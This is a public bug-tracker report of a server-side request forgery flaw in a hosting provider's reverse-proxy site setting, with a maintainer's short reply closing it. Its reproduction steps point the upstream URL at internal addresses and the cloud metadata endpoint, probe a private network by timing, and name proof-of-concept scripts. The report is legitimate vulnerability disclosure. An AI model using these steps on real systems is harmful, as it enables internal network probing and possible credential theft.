- Status Closed
-
Assigned To
cbay - Private
Opened by MarkCotton - 02.09.2026
Last edited by cbay - 03.09.2026
FS#470 - SSRF — reverse_proxy upstream (`url` / script_upstream_uri): no save-time guard, full-read reflected
Summary
The Reverse proxy site type exposes a server-side URL field (url), which corresponds to the field referred to as script_upstream_uri in the disclosed tracker bugs.
An authenticated customer (Free plan) can set this upstream URL to an arbitrary destination. Alwaysdata's shared proxy/backend infrastructure (alproxy) then fetches the configured URL on every request to the site and returns the full upstream response body to the requester (reflected, not blind).
Live testing shows:
There is no save-time guard. Plain internal targets such as http://127.0.0.1:80/ and http://169.254.169.254/ are accepted with no validation error and are actually attempted by the infrastructure.
The upstream response is fully reflected to the requester.
The fetch node routes into the 10.0.0.0/8 internal datacenter network, demonstrated by a fast RST to 10.0.0.1 versus ~20 second timeouts to 192.168.0.0/16 and 172.16.0.0/12.
Affected Component
Endpoint:
https://admin.alwaysdata.com/site/<id>/
Site type: reverse_proxy
Field: url ("Remote URL")
The endpoint is reachable with the ordinary web session cookie; no API token or 2FA is required.
The fetch is executed by Alwaysdata infrastructure. Responses carry:
via: 1.1 alproxy
For external upstreams, a second hop was also observed:
mchunt.alwaysdata.net
Egress infrastructure IPs observed at Collaborator:
185.31.40.97 — DNS 185.31.41.11 — HTTP Steps to Reproduce
Preconditions:
Web session for account A and a Burp Collaborator host $C.
1. Log in
GET /login/
Grab the CSRF token and then:
POST /login/
with:
csrfmiddlewaretoken
login
password
The response sets the sessionid cookie.
2. Render the reverse_proxy subform
GET /site/1072866/?_field_type=reverse_proxy
This reveals the field:
url
labelled "Remote URL".
3. Save the site as a reverse proxy pointing at the attacker
Re-serialize the form and submit:
POST /site/1072866/
with:
type=reverse_proxy&url=http://poc.$C/upstream
plus the addresses formset.
Response:
302 → /site/
The configuration is accepted with no validation error.
Wait approximately 20 seconds for the install task.
4. Trigger the fetch
GET http://mchunt.alwaysdata.net/reqpath
The response body is the Collaborator's response.
Response headers show:
server: Burp Collaborator
via: 1.1 alproxy
Collaborator logs a DNS + HTTP interaction originating from Alwaysdata infrastructure.
5. Internal differential
Repeat step 3 with the following upstream URLs and re-request the site:
→ HTTP 404 "Site not found", via: 1.1 alproxy, 1.1 alproxy, <1 second.
→ 503 in ~0.6 seconds (connection refused).
→ 503 after ~20 seconds (link-local not routable; no AWS/OpenStack IMDS).
→ 503 in ~1.5 seconds (fast RST → host on the internal segment).
http://192.168.0.1/ http://172.16.0.1/
→ 503 after ~20 seconds (filtered / no route).
In every case, the save succeeds with no guard error and the reachable body is reflected back.
6. Redirect behavior
Using:
returns the raw:
301 Moved
upstream response.
The proxy does not follow redirects, so the FS#460 redirect-follow variant does not apply here.
PoC
poc/ssrf_reverse_proxy_reflected.sh
Helpers:
rp_edit.py
form_submit.py
Evidence
External reflected read (request-time):
Collaborator HTTP log:
GET /upstream/reqtime HTTP/1.1
Host: rpsave.<collab>
via: 1.1 alproxy, 1.1 mchunt.alwaysdata.net
X-Forwarded-For: <my-ip>
X-Forwarded-Host: mchunt.alwaysdata.net
→ HTTP 200, with the upstream body reflected to me.
No-guard save:
POST /site/1072866/
with:
url=http://169.254.169.254/latest/meta-data/
Response:
302 → /site/
The save succeeds.
Re-reading the edit form shows:
name="url" value="http://169.254.169.254/latest/meta-data/"
The internal reachability differential described above demonstrates that the fetch node is on / routes to the 10.0.0.0/8 network.
Impact
This provides authenticated SSRF from Alwaysdata's shared proxy/backend infrastructure with full response reflection.
The fetch node routes into the internal 10.0.0.0/8 datacenter network.
Demonstrated impact:
Reflected full-read SSRF
Internal network reachability
Remediation
Apply an egress allow/deny policy on the reverse_proxy upstream fetch.
Specifically:
Reject upstreams that resolve to loopback, link-local, RFC1918 and Alwaysdata's own infrastructure ranges at save time.
Re-validate the destination after every DNS resolution and redirect.
Firewall the proxy/backend fetchers off the internal 10.0.0.0/8 control network to prevent internal network reachability.
Confirm that the FS#460 /461/462 guard is actually wired into the live reverse_proxy fetch path.
Loading...
Available keyboard shortcuts
- Alt + ⇧ Shift + l Login Dialog / Logout
- Alt + ⇧ Shift + a Add new task
- Alt + ⇧ Shift + m My searches
- Alt + ⇧ Shift + t focus taskid search
Tasklist
- o open selected task
- j move cursor down
- k move cursor up
Task Details
- n Next task
- p Previous task
- Alt + ⇧ Shift + e ↵ Enter Edit this task
- Alt + ⇧ Shift + w watch task
- Alt + ⇧ Shift + y Close Task
Task Editing
- Alt + ⇧ Shift + s save task
rp_edit.py
Hello,
What you reports is not specific to the reverse proxy web site. All those URLs are accessible by our clients over SSH, for instance.
Kind regards,
Cyril